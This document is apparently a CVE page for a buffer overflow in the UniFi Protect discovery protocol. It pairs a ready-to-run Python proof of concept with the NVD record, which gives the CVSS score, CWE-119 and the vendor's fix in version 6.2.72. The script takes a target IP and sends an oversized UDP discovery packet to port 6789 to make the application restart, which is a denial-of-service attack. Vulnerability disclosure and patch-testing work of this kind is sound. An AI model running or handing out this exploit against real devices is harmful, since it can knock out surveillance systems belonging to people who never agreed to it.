CVE-2026-21634

#!/usr/bin/env python3 """ CVE-2026-21634 PoC - UniFi Protect Application Discovery Protocol Buffer Overflow This PoC demonstrates sending a malformed discovery packet to trigger the overflow. For authorized security testing only. """ import socket import struct import sys def create_malformed_discovery_packet(): """Create a malformed discovery packet with oversized payload""" # Discovery protocol header header = b'\x01\x00' # Protocol version packet_type = b'\x01\x00' # Discovery request type # Create oversized payload to trigger buffer overflow # The discovery protocol expects limited field lengths oversized_field = b'A' * 10000 # 10KB payload (exceeds expected buffer size) # Construct the malformed packet packet = header + packet_type packet += struct.pack('>I', len(oversized_field)) # Length field packet += oversized_field return packet def send_exploit(target_ip, target_port=6789): """Send the malformed packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) payload = create_malformed_discovery_packet() try: print(f"[*] Sending malformed discovery packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent successfully") print(f"[*] Payload size: {len(payload)} bytes") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2026-21634-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

{"cve": {"id": "CVE-2026-21634", "sourceIdentifier": "[email protected]", "published": "2026-01-05T17:15:47.243", "lastModified": "2026-01-30T01:23:13.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the adjacent network could overflow the UniFi Protect Application (Version 6.1.79 and earlier) discovery protocol causing it to restart.\r\n\r\n\r\nAffected Products:\r\nUniFi Protect Application (Version 6.1.79 and earlier). \r\n \r\nMitigation:\r\nUpdate your UniFi Protect Application to Version 6.2.72 or later."}, {"lang": "es", "value": "Un actor malicioso con acceso a la red adyacente podría desbordar el protocolo de descubrimiento de la aplicación UniFi Protect (versión 6.1.79 y anteriores), provocando su reinicio.\n\nProductos Afectados:\nAplicación UniFi Protect (versión 6.1.79 y anteriores).\n\nMitigación:\nActualice su aplicación UniFi Protect a la versión 6.2.72 o posterior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ui:unifi_protect:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.2.72", "matchCriteriaId": "F58979E4-F426-4E50-BF77-7A94200D0357"}]}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-058-058/6922ff20-8cd7-4724-8d8c-676458a2d0f9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}